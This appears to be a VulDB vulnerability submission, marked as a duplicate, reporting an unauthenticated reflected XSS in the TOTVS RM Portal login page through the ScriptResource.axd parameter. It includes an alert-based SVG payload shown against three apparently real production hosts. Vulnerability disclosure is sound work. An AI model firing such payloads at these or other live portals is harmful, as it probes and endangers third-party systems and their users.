| Título | RM Portal - Login Versão 12.1.xxx |
|---|
| Descrição | Fault exists in all versions of the Totvs RM Portal - Login Versão 12.1
Unauthenticated user xss failure.
Derived another failure in another ScriptResource.axd?d=
http•.//totvs.metodista.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``>
https://portalrh.lojaspompeia.com.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``>
It also has other parameters that affect all versions.
https://colaborador.pe.senai.br/Corpore.Net/ScriptResource.axd?d=<svg/onload=alert``> |
|---|
| Fonte | ⚠️ https://produtos.totvs.com/ficha-tecnica/tudo-sobre-o-totvs-rh-linha-rm/ |
|---|
| Utilizador | chor4o (UID 52584) |
|---|
| Submissão | 27/09/2023 04h29 (há 3 anos) |
|---|
| Moderação | 10/10/2023 09h03 (13 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 238573 [TOTVS RM 12.1 Portal d Script de Site Cruzado] |
|---|
| Pontos | 0 |
|---|